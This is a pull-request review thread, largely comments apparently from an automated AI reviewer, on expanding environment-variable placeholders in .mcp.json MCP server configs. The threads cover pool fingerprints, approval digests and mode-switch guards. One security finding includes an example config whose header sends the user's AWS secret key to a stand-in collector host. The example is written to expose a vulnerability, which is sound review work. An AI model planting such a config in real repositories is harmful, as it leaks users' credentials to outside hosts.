Daemon/ACP agent on workspace W whose .mcp.json declares proj: {httpUrl: 'https://proj.example/mcp', headers: {Authorization: 'Bearer ${TOK}'}}, with TOK=real-secret in the daemon's environment. Session A keeps its boot mode (gate armed); the IDE client calls session/set_mode → yolo for session B — that handler sets the mode on session.getConfig(), not on this.config (acpAgent.ts:11569-11577). The next workspaceMcpReload (any settings edit) builds liveConfigs = new Set([this.config, ...activeSessions.map(s => s.getConfig()), discoveryConfig]) (acpAgent.ts:4031-4035) and calls assembleMcpServers once per config with that config's own gate state: A / this.config / the discovery config receive Authorization: Bearer real-secret, B receives Authorization: Bearer ${TOK}. fingerprint() (packages/core/src/tools/mcp-pool-key.ts:130-152) hashes headers, env, url, httpUrl, tcp, command, args, cwd, oauth, targetAudience, targetServiceAccount — i.e. precisely the allowlist this diff added — and its own doc says "any divergence creates a distinct entry" and "Same name + different fingerprints … yields distinct ConnectionIds". Both configs share one pool (config.setMcpTransportPool(this.mcpPool) at acpAgent.ts:3979 and 14413), so proj::<F_expanded> and proj::<F_literal> coexist: B opens a second transport with an unsubstituted credential and 401s while A works, and the module-level serverStatuses map is keyed by server name only (packages/core/src/tools/mcp-status.ts:22, read back by getMCPServerStatus(name) at mcp-status.ts:127-128), so one name now has two conflicting connection states to aggregate (mcp-pool-key.ts: "see global state coexistence for how the global serverStatuses Map handles multi-entry name collisions") — the daemon's workspace projection and /mcp report proj per whichever aggregate wins, while for a stdio server the concrete cost is a second spawned child process per divergent session. Before this diff every config assembled the identical literal map, so one name had exactly one fingerprint. Note the per-config shape is safe for the other half of the same predicate: a bare/safe config drops the project tier entirely ({ ...config.getTopTierMcpServers() }) and therefore never puts a project fingerprint in the pool, whereas a gate-off-by-mode config keeps the server and rewrites its credentials instead. Design §5 reasons about this only single-session ("a hot reload after the switch recomputes with the gate off and therefore without expansion — the safe direction"); it never considers two configs in one process disagreeing.
Suggested fix: Record the multi-config case in design section 5, whose safety argument as written is single-session, and decide deliberately whether a gate-off session should open its own guaranteed-to-401 transport for a server a sibling session already holds expanded, or reuse the sibling's entry. Do NOT apply the variants originally proposed: (a) dropping gated project entries from a gate-off config's map makes the server disappear under YOLO - the #6131 behaviour #6177 removed and the doc's own non-goal; (b) hoisting to 'armed if any live config is armed' hands a YOLO config expanded credentials while its pending list is undefined (an unapproved connect carrying the real secret, exactly what section 5 exists to prevent), while 'armed only if all are armed' reinstates the 401 this PR fixes. The per-config divergence is inherent to the section 5 decision.
Witness:
probe: real assembleMcpServers x real fingerprint/connectionIdOf/isPoolable -> ARMED connId=projstdio::701b1c1bd2972f71 env={"TOKEN":"real-secret"} vs GATEOFF connId=projstdio::63b71956d3a93dc1 env={"TOKEN":"${PROBE_TOK}"}; both entries coexist in one shared pool; the hoisted-decision arm collapses to one connId per name
Fix witness: packages/cli/src/acp-integration/acpAgent.test.ts - extend the new workspaceMcpReload expands .mcp.json placeholders only while the approval gate is armed (approval mode %s) case so two live configs exist for one workspace (DEFAULT and YOLO) and assert the two reinitializeMcpServers maps do not both carry the server with different headers. Not executed by the verifier (needs a second live session); the acpAgent harness is real and already mocked for loadSettings.
Fix constraint: docs/design/2026-09-11-mcp-json-env-expansion.md §5 (added in this diff) — "Decision: .mcp.json placeholders are expanded if and only if the approval gate is armed. … Under --yolo, bare mode or safe mode a .mcp.json server therefore connects with its placeholder as literal text", so variant (b) must not expand for a gate-off config; and packages/core/src/tools/mcp-pool-key.ts:130-152 — fingerprint() hashes headers/env/url/httpUrl/command/args/cwd/oauth, so any fix that keeps two credential forms for one server name keeps two pool entries regardless of where the decision is hoisted.
— qwen3.8-max via Qwen Code /review (v0.23.3)
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[Suggestion] R3-5: Still standing after this round’s changes — The expansion decision is taken per Config inside a loop that walks every live config of one daemon process, but the transport pool those configs feed is process-shared and its fingerprint hashes exactly the fields this PR newly expands - so two sessions that disagree on approval mode hold two simultaneous connections for one .mcp.json server in one workspace, one carrying unsubstituted ${VAR} credentials. (Verified correction: the duplicate pool entry / extra child process is stdio- and websocket-specific, since POOLED_TRANSPORTS_DEFAULT = ['stdio','websocket'] makes the filed httpUrl example …
Unchanged at the reviewed commit d61b12c — see the failure scenario in the original thread. R3-5: The expansion decision is taken per Config inside a loop that walks every live config of one daemon process, but the transport pool those configs feed is process-shared and its fingerprint hashes exactly the fields this PR newly expands - so two sessions that disagree on approval mode hold two simultaneous connections for one .mcp.json server in one workspace, one carrying unsubstituted ${VAR} credentials. (Verified correction: the duplicate pool entry / extra child process is stdio- and websocket-specific, since POOLED_TRANSPORTS_DEFAULT = ['stdio','websocket'] makes the filed httpUrl example non-poolable; for a default HTTP server each session already owned its own transport at base and what is new is that the two now carry different credentials. The status observable is a masked failing sibling under the pool's deterministic any-CONNECTED-wins aggregation, not an …
Witness:
not run — needs two concurrent ACP sessions with different approval modes on one daemon plus a live transport pool; the closest capability was `review drive` against qwen serve, which needs a serve token, a registered workspace and a live ACP child. Re-checked by read at the reviewed commit: acpAgent.ts:4041-4069 still computes gateArmed per Config inside the liveConfigs loop, and the pool fingerprint still hashes the fields this PR expands.
The acceptance criterion is the one stated in the original thread: the test named there must go red if the fix is removed.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| const gateArmed = isMcpApprovalGateArmed( | ||
| config.getBareMode(), | ||
| config.isSafeMode(), | ||
| config.getApprovalMode(), | ||
| ); |
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[Suggestion] R3-7: Recomputing expandEnv from the current approval mode on every reload lets a mid-session switch to YOLO silently rewrite an already-approved project server's credentials back to their literal placeholders and tear down a live connection.
Boot in DEFAULT with .mcp.json headers: {Authorization: "Bearer ${TOK}"} → expanded, approved, connected (pool entry keyed by fingerprint, which hashes headers — packages/core/src/tools/mcp-pool-key.ts:139). The user then reaches YOLO mid-session: Shift+Tab cycling (useAutoAcceptIndicator.ts:102, over APPROVAL_MODES = Object.values(ApprovalMode), which contains 'yolo'), /approval-mode yolo, or ACP session/set_mode → acpAgent.ts:11575. On the next settings-watcher event — any edit, e.g. a theme change, nothing MCP-related — gateArmed is now false, assembleMcpServers(..., {expandEnv: false}) yields Bearer ${TOK}, mcpServersEqual (deep) reports a change, reinitializeMcpServers reconciles, the fingerprint differs, and the connected client is dropped and reconnected with the literal placeholder → 401 → the server shows Disconnected and its tools are gone for the rest of the session, with no prompt and no message naming the cause. Recovery requires switching the mode back and another reload. Before this PR no unrelated settings edit could change a server's credentials. Design section 5 calls this "the safe direction", but the security premise (nothing showed the user the value) does not hold for a server the user already approved in this session and whose resolved value is already in memory — reusing it reads no new environment variable.
Suggested fix: Compute the expansion decision once per session (or, when !gateArmed, keep the project-scope entries already present in config.getSettingsMcpServers() instead of re-reading .mcp.json unexpanded) in both registerMcpHotReload and reloadWorkspaceMcpDiscovery, so an approval-mode flip cannot rewrite credentials that were resolved while the gate was armed.
Witness:
probe pair: PR arm rewrites the credential, fix arm does not
Fix witness: packages/cli/src/config/hot-reload.test.ts — extend the new expands .mcp.json placeholders only while the approval gate is armed (%s) case: after the DEFAULT reload asserts Bearer real-secret, flip the fake config's approval mode to ApprovalMode.YOLO, fire listener([]) again, and assert the header handed to reinitializeMcpServers is still Bearer real-secret. It goes red today (the second reload returns Bearer ${HOTRELOAD_TOKEN}). Mirror it in acpAgent.test.ts for workspaceMcpReload.
Fix constraint: packages/cli/src/config/mcpJson.ts:118-124 — "Pass false whenever the approval gate is off (bare mode, safe mode, or --yolo), because then nothing stands between a checked-in .mcp.json and a live connection". A fix must not make a freshly read .mcp.json expand while the gate is off: mcpJson.test.ts "leaves placeholders literal when expandEnv is false" and the YOLO halves of the hot-reload.test.ts / acpAgent.test.ts cases must stay green.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| * The digest is taken over the config AFTER `$VAR` expansion — what the dialog | ||
| * shows and the transport uses — so rotating a referenced variable re-opens the | ||
| * approval even with the file untouched. Hashing the raw text instead would let |
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[Suggestion] R3-9: Hashing the resolved config makes approval un-satisfiable when a referenced variable's value is not stable across processes — a different case from the token rotation the design accepts, and one with no path to a durable approval.
A checked-in .mcp.json legitimately references a per-session variable in an allowlisted field — env: {"SSH_AUTH_SOCK": "${SSH_AUTH_SOCK}"}, or args: ["--socket", "${SSH_AUTH_SOCK}"], or anything reading a CI-injected job ID. hashMcpServerConfig digests the resolved value, so every new login session (new socket path) yields a new digest, getPendingGatedMcpServers marks the server pending again, and the user is prompted for a server they approved yesterday — forever. The same mismatch appears across launch contexts without any value changing on disk: qwen mcp approve runs in a shell where the variable is set, a GUI/IDE-launched qwen runs where it is absent, the two digests differ, and the server the user just approved via the CLI shows as pending in the app. Mid-session it is worse: any settings-file edit triggers registerMcpHotReload, which re-digests and can drop a connected server to pending and disconnect it.
Suggested fix: Split the digest by field class rather than hashing everything resolved: keep url, httpUrl, tcp, command, args, cwd digested in resolved form (that is the half the design's counterexample depends on) and digest env, headers and oauth from their pre-resolution text. Credential rotation and per-session socket paths then stop invalidating approval, while repointing the endpoint still re-opens it.
Witness:
probe through real loader + approval store
Fix witness: packages/cli/src/config/mcpApprovals.test.ts — (a) load a .mcp.json server with headers: {Authorization: 'Bearer ${ROT_TEST_TOKEN}'}, store an approval, change process.env.ROT_TEST_TOKEN, assert getState(...) is still 'approved' (RED today and without the fix); (b) the security half: a server with httpUrl: 'https://${ROT_TEST_HOST}/mcp' approved, then ROT_TEST_HOST changed, asserts getState(...) returns 'pending' (RED if the fix over-applies pre-resolution hashing to URL fields).
Fix constraint: packages/core/src/mcp/configHash.ts strips only NON_BEHAVIORAL_FIELDS = new Set(['scope', 'extensionName', 'description']) and hashes everything else, and the docstring this finding anchors on records the rejected alternative — "Hashing the raw text instead would let ${MCP_HOST} silently re-point an approved server" — so any split must keep url/httpUrl/tcp/command/args in resolved form or it re-opens that hole.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| * fixed enum (`google_credentials`, …), a constant rather than a per-environment | ||
| * value, so a placeholder there gains nothing. | ||
| */ | ||
| const ENV_EXPANDED_TRANSPORT_FIELDS = [ |
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[Suggestion] R3-10: The expansion allowlist is an untyped enumeration of another package's type (MCPServerConfig, packages/core/src/config/mcp-server-config.ts:106) with no compile-time or test-time link to it, and it fails silent where the sibling enumeration of the same question fails safe. (Anchored on the allowlist declaration; the three-entry snippet previously resolved onto 'args' at line 28, where an unrelated round-2 comment about docstrings sits.)
resolveTransportEnvVars reads the fields through config as unknown as Record<string, unknown>, so the list is checked against nothing. I confirmed the class currently exposes 24 fields at runtime (Object.keys(new MCPServerConfig()) → command, args, env, cwd, url, httpUrl, headers, tcp, timeout, trust, description, includeTools, excludeTools, extensionName, oauth, authProviderType, targetAudience, targetServiceAccount, type, discoveryTimeoutMs, scope, alwaysLoadTools, agentPluginV1, versionNegotiation); the allowlist covers 11 and no connection-determining string field is missing today. But the class's own comments record that it grows by appending (discoveryTimeoutMs, scope, versionNegotiation were each "appended at the end of the parameter list"), so the next transport-bearing string field — a caBundlePath, proxyUrl, or per-transport headers — lands in core and nothing here notices: a .mcp.json placeholder in it ships verbatim to the transport, reproducing #11499's opaque 401 for that field with no type error and no failing test. The same "which MCP fields matter" question is already enumerated in NON_BEHAVIORAL_FIELDS (packages/core/src/mcp/configHash.ts:16), which is a denylist and therefore treats an unknown new field as behavioral by default; this allowlist does the opposite, and the two lists live in different packages with nothing tying them together.
Suggested fix: Type the list against the shape it enumerates — const ENV_EXPANDED_TRANSPORT_FIELDS: ReadonlyArray<keyof MCPServerConfig> = […] — so a renamed or removed field is a compile error, and add an exhaustiveness case to mcpJson.test.ts that walks Object.keys(new MCPServerConfig()) (verified to yield all 24 names) and asserts each is either in ENV_EXPANDED_TRANSPORT_FIELDS or in a new explicit ENV_NON_EXPANDED_FIELDS list, so adding a field to the class fails a test until someone decides which side it belongs on.
Witness:
table sweep: 24 class fields vs the 11-entry allowlist parsed out of source
Fix witness: The new mcpJson.test.ts exhaustiveness case — mutation: append a dummy field to MCPServerConfig's constructor (or drop tcp from the allowlist without adding it to the non-expanded list) and the test must go red. The existing expands every allowlisted transport field case pins the current 11 but cannot detect an omission it does not know about.
Fix constraint: MCPServerConfig is a class of readonly constructor parameter properties (packages/core/src/config/mcp-server-config.ts:106-155), so keyof MCPServerConfig is the full field set and the list must stay a subset of it; the design doc's §1 decision that includeTools, excludeTools, timeout, trust and authProviderType do not expand (docs/design/2026-09-11-mcp-json-env-expansion.md, added in this diff) must be preserved by the non-expanded side of the exhaustiveness check, not overturned by it.
— qwen3.8-max via Qwen Code /review (v0.23.3)
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[Suggestion] R3-10: Still standing after this round’s changes — The expansion allowlist is an untyped enumeration of another package's type (MCPServerConfig, packages/core/src/config/mcp-server-config.ts:106) with no compile-time or test-time link to it, and it fails silent where the sibling enumeration of the same question fails safe. (Anchored on the allowlist declaration; the three-entry snippet previously resolved onto 'args' at line 28, where an unrelated round-2 comment about docstrings sits.) resolveTransportEnvVars reads the fields through config as unknown as Record<string, unknown>, so the list is checked against nothing. I confirmed the class …
Unchanged at the reviewed commit d61b12c — see the failure scenario in the original thread. R3-10: The expansion allowlist is an untyped enumeration of another package's type (MCPServerConfig, packages/core/src/config/mcp-server-config.ts:106) with no compile-time or test-time link to it, and it fails silent where the sibling enumeration of the same question fails safe. (Anchored on the allowlist declaration; the three-entry snippet previously resolved onto 'args' at line 28, where an unrelated round-2 comment about docstrings sits.) resolveTransportEnvVars reads the fields through config as unknown as Record<string, unknown>, so the list is checked against nothing. I confirmed the class currently exposes 24 fields at runtime (Object.keys(new MCPServerConfig()) produces `command, args, env, cwd, url, httpUrl, headers, tcp, timeout, trust, description, includeTools, excludeTools, extensionName, oauth, authProviderType, targetAudience, targetServiceAccount, type, …
Witness:
not run — no mutation ran (scratch-tree unavailable). Re-checked at the reviewed commit: the allowlist now carries `] as const satisfies ReadonlyArray<keyof MCPServerConfig>;` (mcpJson.ts:38), which adds a KEY-level compile-time link — that half is fixed. What remains unlinked is the semantic classification, and it fails silently: a probe through the real loader and the real isEnabled consumer returned `isEnabled("real_tool", loaded-from-.mcp.json): false` against `isEnabled("real_tool", settings-resolved): true` for a byte-identical entry, with `loader errors: []` on both the gate-armed and the gate-off path.
The acceptance criterion is the one stated in the original thread: the test named there must go red if the fix is removed.
— qwen3.8-max via Qwen Code /review (v0.23.3)
Round-4 review (R3-1): the digest now depends on whether `.mcp.json` was expanded, but the store is one record per workspace. A gate-off session (--yolo, bare, safe) hashed the literal form: its dialogs showed an approved server as pending, and approving from it persisted a digest no gate-armed boot matched. The three read sites (daemon workspace status, ink /mcp dialog, OpenTUI dialog data) now report no approval state from a gate-off Config, and the two write sites (daemon `workspaceMcpManage approve`, dialog approve) refuse. `qwen mcp approve` is unchanged. Also: R3-6 — one gate value feeds both `expandEnv` and `recomputeMcpGating` in both reload paths; R3-8 — approve.test pins that the digest is of the resolved config and that rotating a referenced variable re-opens approval; R3-11 — a suppressed expansion now reports through `errors`; R3-10 — the allowlist is typed against `MCPServerConfig`; R2-8 — user docs for `.mcp.json`. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01GSbqvqDiVF9oD7f57ozKGw
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@doudouOUC — the bot's review of 2026-09-11 (round 3 in its ledger) found a real defect that my previous round introduced (R3-1). It is fixed in the one commit on top, together with the smaller items below. Nothing in this round changes the answers to your four points from the last one. R3-1 (Critical) — the approval store went inconsistent across modes. Correct. My gate made the digest depend on whether R3-6. Done: R3-8. Added to R3-11. A suppressed expansion now pushes one line onto R3-10, partial. R3-7 — not fixed, recorded as a known limitation. A mid-session switch to YOLO plus any settings edit rewrites an approved server's credentials to the literal and drops the connection. Deciding expansion once per session re-opens the Critical for a server added to R3-9 — declined. R3-8 and R3-9 specify opposite outcomes for the same scenario — header variable rotated, file untouched — Verification. Windows 11 / Node 24.11: the eight non-ACP suites ( |
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Agent-assisted review at d61b12ce04b9c5ff6f91ba04efdf59c07a637b59 — 1 confirmed Critical; partial review — coverage gaps.
Pinned base: 07b1cd033e28a40482c82c4ae6d6c38cf9cf5610; head matches selection. Reviewed all changed production hunks, the loader/resolver, boot and both reload paths, approval read/write guards, changed test assertions and the pinned settings/environment and approval-summary consumers.
Critical — project expansion still reads another workspace's process-global values (prior R2-1, discussion_r3977541709). packages/cli/src/config/mcpJson.ts:102 still calls resolveEnvVarsInObject(original) without an exclusive workspace environment. This is a traced path, not an inference from the missing parameter: non-daemon ACP newSession calls loadSettingsCached(cwd) at acpAgent.ts:5231-5233; a miss calls loadSettings(key) (settings-cache.ts:206), which calls loadEnvironment (settings.ts:1265-1266). That loader fills process.env without overriding a prior nonempty value (environment.ts:596-605). A session in trusted workspace A can therefore populate TOKEN=A; a subsequent trusted B session with TOKEN=B retains A, and B's .mcp.json header expands to A through envVarResolver.ts:54-55. It can also disagree with the approval digest recorded by a fresh CLI in B. An explicit workspace snapshot with no process-env fallback is needed to isolate this path. I am not claiming that distinct daemon runtime children share one process or that the approval gate itself was bypassed.
Prior Critical reconciliation:
- R1-1 recursive startup overflow: fixed for repo JSON by the iterative per-entry depth bound before resolution/hash, plus per-entry error handling (
mcpJson.ts:70-87,202-234). The shared-subtree false positive is also removed. - My previous YOLO expansion finding: fixed in the inspected boot/hot-reload/ACP reload paths. The same gate predicate now supplies both
expandEnvand pending-gating decisions.expandEnvhas real true/false producers; it is not a dead option. - R3-1 gate-off approval-digest ping-pong: addressed at the reported read and write surfaces. MCP management, OpenTUI and ACP suppress gate-off approval reads and refuse gate-off approval writes; explicit CLI approval continues using the expanded form.
- R2-2 variable provenance in approval UI: still a disclosure/policy gap, not counted here as an independently proven approval-bypass vulnerability. The pinned summary at
useMcpApproval.ts:54-61shows destination header/env keys, not referenced variable names. The user still explicitly authorizes the server. A non-secret substitution-name disclosure would help; it must not print resolved values. No additional diff growth is requested in this round.
Ownership: the changed ACP status/manage/reload handlers operate on the workspace discovery Config and reload the collected live Configs using each Config's cwd/mode; they are not newly added process-global HTTP routes. I did not complete the daemon-wrapper routing/relocation and every mode-transition integration path, so this is not a full isolation certification.
Cross-package/core changed production-file scope is 368 lines excluding tests/docs; no large-refactor hard block applies. Maintainer role was not verified. Static inspection only: no build or tests run, no PR code executed. All changed-file caches were checked against their Git blob identities; the larger files were retrieved by blob after contents-endpoint limitations. Comment only; no approval implied.
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Partially reviewed — gaps disclosed.
2 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- armed-path silence when a referenced variable is unset (packages/cli/src/config/mcpJson.ts:94) — already reported as R2-6 (comment 3985818217); re-derived this round by the reverse audit and folded into that entry rather than posted twice
- R3-7 (packages/cli/src/config/hot-reload.ts:156) — already reported (comment 3985816959); still stands, and the overlap drop keeps it in its existing open thread instead of opening a second one
Not reviewed: closing-issue discovery — the runner’s gh is 2.45.0, below the 2.72.0 the closing-issue query needs, so only the PR description’s own Fixes #11499 was fetched and the wider linked-issue set was never enumerated.
Not explored to full depth (tool budget reached): chunk 4: none — no check was cut short.; "agent reverse-audit (round 2)": the doc's empirical and historical references — the node v24.11/win32 stack-overflow bands in section 3, the 4d024d692f revision reference in section 1, and t…; "agent reverse-audit (round 4)": §2's findEnvFiles description (walk-up order, workspace-trust condition, the three home candidates) was not checked against packages/cli/src/config/environme…; "agent reverse-audit (round 4)": §2's claim that getHomeEnvFallbackVars() filters neither isLoaderEnvKey nor isPrivateProvenanceEnvKey was not verified against environment.ts .; "agent reverse-audit (round 4)": §5's claim that ACP session/new builds its Config through loadCliConfig was inferred from the call site at acpAgent.ts:14306 without reading its surroun…, and 4 more.
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Test Plan (not a blocker): src/config/mcpJson.test.ts — no such file or directory; src/config/mcpServers.test.ts — no such file or directory; src/config/config.test.ts — no such file or directory; src/commands/mcp/approve.test.ts — no such file or directory; src/config/hot-reload.test.ts — no such file or directory; and 9 more.
Deferred under the convergence posture (round 4, not a blocker) — recorded, not requested in this round:
docs/design/2026-09-11-mcp-json-env-expansion.md:28 — [review] argv exposure of a resolved secret is not recorded in the…packages/cli/src/config/mcpJson.test.ts:470 — [review] includeTools is labelled metadata; four behavioral fields…
Convergence: round 4 posted 18 inline comment(s), 11 of them reported for the first time; the previous round posted 18 (11 new). Findings keep coming back to the same files: packages/cli/src/acp-integration/acpAgent.ts (findings in round 3; 3 more now); docs/design/2026-09-11-mcp-json-env-expansion.md (findings in rounds 2, 3; 1 more now); packages/cli/src/config/mcpJson.ts (findings in rounds 2, 3; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)
[Critical] R2-2 adding headers and env to the repo-facing allowlist lets a checked-in .mcp.json attach an arbitrary environment variable of the approving user to an outbound request, and no approval surface says which one. The only change this round is the dialog sentence at this anchor, which tells the user that "an environment variable it substitutes changes value" will re-prompt them while nothing ever names the variable being substituted. A cloned repo ships {"httpUrl": "https://collector.example/mcp", "headers": {"X-Env": "${AWS_SECRET_ACCESS_KEY}"}}. The dialog renders … A cloned repo ships {"httpUrl": "https://collector.example/mcp", "headers": {"X-Env": "${AWS_SECRET_ACCESS_KEY}"}}. The dialog renders "Untrusted MCP server in .mcp.json — collector.example/mcp (http) [headers: X-Env]", indistinguishable from an ordinary HTTP MCP server, because summarize() (useMcpApproval.ts:56,59 — unchanged and not in this diff) prints header and env KEY NAMES only. One Approve, or one "Approve all", persists the decision and the transport then sends that credential to the repo’s host on every request. The non-interactive bulk path is more opaque still: qwen mcp approve prints only the server name. A fix here must not violate: packages/cli/src/ui/hooks/useMcpApproval.ts:56 — details.push(env: ${Object.keys(config.env).join(", ")}); the summary must keep showing only the NAME, never the resolved value, or the secret lands in terminal scrollback and in any IDE that renders the prompt. docs/design/2026-09-11-mcp-json-env-expansion.md:87 already records that summarize() "shows the resolved url / command / args but only the key names of env and headers", so a fix must update that sentence too. Please confirm the fix by mutation — remove it and check that this goes red: packages/cli/src/ui/hooks/useMcpApproval.test.ts must assert that a server whose header is "Bearer ${TOK}" produces a summary containing "TOK"; deleting the placeholder from the summary turns that assertion red. useMcpApproval.test.ts:104-107 currently pins key-names-only, so it must be updated in the same change.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| // matches what discovery gated on. | ||
| const approvals = loadMcpApprovals(); | ||
| // Not readable from a gate-off session (literal-form digest). | ||
| const approvals = isMcpApprovalGateArmed( |
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[Critical] R3-1: (fix-induced) [certifies-falsely] [regression] The approval-store guards R3-1’s fix added re-derive isMcpApprovalGateArmed from the Config’s LIVE approval mode and use it as a proxy for a LOAD-TIME fact — were this Config’s .mcp.json placeholders expanded? Config.setApprovalMode never re-assembles the server map and never recomputes pendingMcpServers, and no mode-change path does either, so after a mid-session switch the guards’ premise is false in both directions. Five sites: reads at MCPManagementDialog.tsx:87, dialog-data.ts:830 (isGateArmedFor at :66), acpAgent.ts:6739; writes at MCPManagementDialog.tsx:448, dialog-data.ts:917, acpAgent.ts:10229.
Direction A (boot gate-off, switch to armed): a repo ships .mcp.json with headers.Authorization "Bearer ${TOK}" and TOK is set. (a) A gate-armed boot approves and stores hash(expanded). (b) The user runs qwen --yolo in the same workspace, so expandEnv is false, the in-memory entry stays literal, pendingMcpServers is undefined, and the server connects sending "Bearer ${TOK}". (c) Mid-session /approval-mode default (or Shift+Tab, or ACP session/set_mode) runs only config.setApprovalMode; the entries stay literal. (d) /mcp then sees isMcpApprovalGateArmed(false,false,"default") === true, calls loadMcpApprovals().getState(root,"proj",), and mcpApprovals.ts:200-206 returns "pending" on any hash mismatch — so ServerListStep.tsx:166-168 renders "needs approval" for a server that is connected (connected whenever the literal value still produces a working handshake; when it does not, it is 401ing), and ServerDetailStep.tsx:47-48/:116 makes Approve reachable. (e) Clicking Approve passes the new write guard, and setState(root,"proj",,"approved") OVERWRITES the good hash(expanded) record — one record per (root,server), mcpApprovals.ts:209-231. (f) The next plain qwen expands, mismatches the stored literal digest and re-prompts; approving there writes the expanded digest back, flipping the still-running switched session’s dialog to "pending" again. That is a deterministic ping-pong between two TUI sessions in one workspace with no daemon involved. The daemon endpoint mirrors it: buildSessionResourcesStatus passes the SESSION Config to buildWorkspaceMcpStatus (acpAgent.ts:7540), so the live predicate returns true and reports the connected server as approvalState:"pending"/status:"warning"/mcpStatus:"disconnected", while the Approve affordance routes to getWorkspaceMcpConfig() whose mode is still yolo, so acpAgent.ts:10229 throws "MCP approval is off for this session" — a dead end. Direction B (boot armed with a genuinely pending server, switch to gate-off): boot DEFAULT with unapproved gated server "ws", so pendingMcpServers is ["ws"] and mcp-client-manager.ts skips it at discovery (1110/1306/1601/2718/2802). Switch to YOLO mid-session: setApprovalMode never touches pendingMcpServers, so "ws" stays skipped and disconnected, but approvals is now undefined, approvalState is undefined, ServerDetailStep’s awaitingApproval is false, the row renders as a plain disconnected server with no stated reason, the Approve action is not offered, and handleApprove’s new early return would swallow it silently anyway. Before this round’s deletion the row said "needs approval" and Approve cleared it. The guard’s stated reason ("literal-form digest") holds only for scope:"project"; workspace-scope servers are resolved by loadSettings regardless of approval mode, so their digest does match the store under YOLO and their approval state is discarded for no reason.
Witness:
Drove the real dialog in jsdom on the unmodified tree, live mode flipped after mount, then clicked Approve:
approvals: 1 approvals.getState calls -> "pending" (guard passed on the LIVE mode; entries still literal)
setState : called <- store written from a session holding the literal form
args : [{"root":"/ws-probe","serverName":"proj","scope":"project","status":"approved"}]
recorded : {"hash":"c02f289825395678","scope":"project","status":"approved","decidedAt":...}
The flip: applying only the read-guard fix (const approvals = false ? loadMcpApprovals() : undefined) turns it into
approvals: 0 getState calls setState: NOT called rowText contains "needs approval": false
so the probe measures the guard, not the harness.
Key the store read/write on the same value that decided expandEnv — ask "were these servers expanded?" rather than "is the gate armed now?". Record the load-time fact where it is decided (e.g. add mcpEnvExpanded: boolean to ConfigParameters, set from mcpApprovalGateArmed at config.ts:2139-2149, re-stamped by the hot-reload recompute at hot-reload.ts:152-165 — which already pushes boot-time gating state back via Config.setPendingMcpServers — and by reloadWorkspaceMcpDiscovery), expose a getter, and require it at the three read sites and the three write sites, optionally ANDed with the live mode (armed-at-boot produces yolo-live should still refuse to write). If a new Config field is unwanted, config.getMcpGating().pending !== undefined (config.ts:6694-6706) is already exactly "the gate was armed when these servers were assembled", since config.ts:2158-2160 sets it to undefined only in that case — but a fix must not treat pendingMcpServers === [] as gate-off. For direction B additionally derive the displayed state from the session’s own pending set so it stays truthful when the store is unreadable: when approvals is undefined, fall back to config.isMcpServerPendingApproval?.(name) (public, packages/core/src/config/config.ts:6619) and set approvalState="pending" from it — that reads no store, so it cannot persist or display a mismatched digest, and it is the exact predicate discovery skips on. The equivalent alternative for the whole class is to re-assemble the MCP map when a mode change crosses the YOLO boundary, which must then also recompute pendingMcpServers — no mode-change path does today (approvalModeCommand.ts:94 is just config.setApprovalMode(mode); Session.setMode at Session.ts:10800; the workspaceReload ext handler at acpAgent.ts:13868-13900).
A fix here must not violate: packages/cli/src/commands/mcp/approve.ts:26 — const all = assembleMcpServers(settings.merged.mcpServers, cwd); passes no options, so expandEnv defaults true and the CLI persists the EXPANDED digest; a fix must move divergent sessions toward refusing (or toward the expanded form), never narrow approve.ts toward the literal one — narrowing either side invalidates every approval already in users’ stores. packages/cli/src/config/mcpApprovals.ts:46-52 states the digest is taken "over the config AFTER $VAR expansion", so the store side cannot be made form-agnostic instead. packages/cli/src/ui/commands/approvalModeCommand.ts:94 — config.setApprovalMode(mode); is the entirety of a mode switch, so a fix cannot rely on the map converging on the new mode. packages/cli/src/config/hot-reload.ts:112 — pending: gateOff ? undefined : getPendingGatedMcpServers(assembled, cwd),. packages/cli/src/acp-integration/acpAgent.ts:3952 — if (this.workspaceMcpDiscoveryConfig) return; means the discovery Config is constructed once and never re-moded. MCPManagementDialog.test.tsx:78-79 pins expect(yolo.lastFrame()).not.toContain("needs approval"); and expect(getState).toHaveBeenCalledTimes(1); across an armed render followed by a YOLO render, so a direction-B fallback must not call loadMcpApprovals()/getState on the gate-off path.
Please confirm the fix by mutation — remove it and check that this goes red: (1) MCPManagementDialog.test.tsx: render with the LIVE mode armed (getApprovalMode: () => "default") but the load-time expansion fact off, assert getState is never called and the frame does not contain "needs approval"; plus the converse (load-time expanded, live "yolo") asserting the store is still not written; plus a direction-B case rendering with getApprovalMode: () => "yolo" and isMcpServerPendingApproval: () => true asserting lastFrame() contains "needs approval". (2) dialog-data.test.ts: matching cases for enrichMcpOAuthState (approvalState stays undefined / is set from the pending fallback) and applyMcpServerAction(...,"approve") returning changed:false. (3) acpAgent.test.ts: boot an agent with a gate-off Config holding a .mcp.json "proj" server, switch the session mode via agent.setSessionMode({sessionId, modeId:"default"}), assert the session-scoped MCP status does NOT report the connected "proj" as approvalState:"pending"/mcpStatus:"disconnected"; plus the mirror (boot "default" with "proj" pending, switch to "yolo") asserting approvalState:"pending" is retained while config.isMcpServerPendingApproval("proj") is still true. Every one must go red against the current live-mode predicate; the existing "workspace status reads approval state only from a gate-armed Config" (acpAgent.test.ts:6146-6190) and "does not read or show approval state from a gate-off (YOLO) session" cases cannot express this — neither changes the mode after load, and the dialog stub carries no load-time fact.
— qwen3.8-max via Qwen Code /review (v0.23.3)
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| Reference secrets by name instead of embedding them: `$VAR` / `${VAR}` in `command`, `args`, `env`, `cwd`, `url`, `httpUrl`, `headers`, `tcp`, `oauth`, `targetAudience` and `targetServiceAccount` is expanded from the environment (including the `.env` files Qwen Code loads), as in `settings.json`. An unset variable is left as literal text; other fields such as `description` are never expanded. | ||
